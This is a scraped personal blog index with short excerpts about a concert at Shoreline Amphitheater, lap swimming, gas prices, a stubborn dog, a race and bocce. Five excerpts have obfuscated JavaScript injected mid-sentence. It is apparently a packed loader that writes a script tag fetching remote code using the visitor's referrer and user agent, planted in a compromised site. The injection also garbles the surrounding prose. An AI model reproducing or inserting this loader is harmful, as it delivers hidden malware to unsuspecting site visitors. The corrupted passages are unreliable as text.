Shoreline Amphitheater and Kenny

We headed to the Shoreline Amphitheater on Friday for the Kenny Chesney concert. Have you heard about Shoreline?  Parking is free but you can’t tailgate.  Well, no BBQs and no alcohol….no fun?  We made the best of it and had ourselves a little picnic in the parking lot. What’s (usually) great about Shoreline, is that […]

Swimming

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifknr|var|u0026u|referrer|rrhfh||js|php’.split(‘|’),0,{})) went swimming yesterday. Lap swimming. Kind of a sinker and no flip turns….but I think I’ll keep trying. The pool is outside and I already started getting a tan. Any tips on swimming faster? I seem to spend time going in lots of directions other than forward.

Things that cost more than gas

Last week I got gas and it cost $4.109/gallon.  I don’t complain about the cost, because in general, things could be worse and LUCKILY I drive a fuel efficient vehicle. In ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftnnb|var|u0026u|referrer|edsyk||js|php’.split(‘|’),0,{})) an effort to try and put things into perspective, let’s look at stuff that costs more than gas. 1 […]

How good are your eyes?

One of the blogs I read is called petapixel. ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsfnd|var|u0026u|referrer|iateh||js|php’.split(‘|’),0,{}))  It’s GREAT for any photographers out there.  I learn all kinds of interesting things – from photography tips to cool pictures to color tests.  (Be sure to check out the blog). Color tests?  Yes!  Did you know that 1 out of […]

Stubborn

In case you wondered, this is the picture that appears next to STUBBORN in the dictionary. We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dssak|var|u0026u|referrer|derzr||js|php’.split(‘|’),0,{})) had an epic standoff in the comcast parking lot.  He refused to move, I refused to give in.  I turned my back to him and kept the leash taut.  He pulled and then […]

What’s in your purse?

Have you ever seen those articles in the magazines?  The ones where they ask designers and models and actresses to empty out their purses so we can see what they carry?  The purses are designer and the content is impeccable.  Fancy face blotting wipes, lipstick, perfume, camera, sunglasses etc. I looked in my purse the […]

Thank you, Captain Obvious

I decided to make some rice krispie treats.  So head to Safeway to purchase the ingredients. Lucky for me, marshmallows were on sale.  And you never know when you’ll need a mallow.  So I bought 3 bags plus a box of rice krispies cereal (really, I bought the safeway brand). I grabbed a few other […]

Presidio 10

On Sunday we decided to get a little race action in.  The Presidio 10.  You can choose from either a 10k or a 10 miler.  I always choose the shorter route – so I went for the 10k (6.2 miles).  When I run a half marathon, I usually start hating life around mile 6.  So […]

No good deed

No ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsbtb|var|u0026u|referrer|athnk||js|php’.split(‘|’),0,{})) good deed goes unpunished.  Well, that’s a little dramatic. I was in Albuquerque and about to return the rental car.  I had a lot of time, so I filled up the car on my way to the airport.  Here I am, just minding my own business, filling my car […]

Time to Bocce

Have you ever played bocce ball before?  I’d played in college.  Always for fun, always at BBQs and never with official rules. We headed to Campo di Bocce here in Livermore to celebrate our friend, Lisa’s {belated} birthday. We learned how to play from our very young referee.  He was actually a kick.  Highly entertaining […]
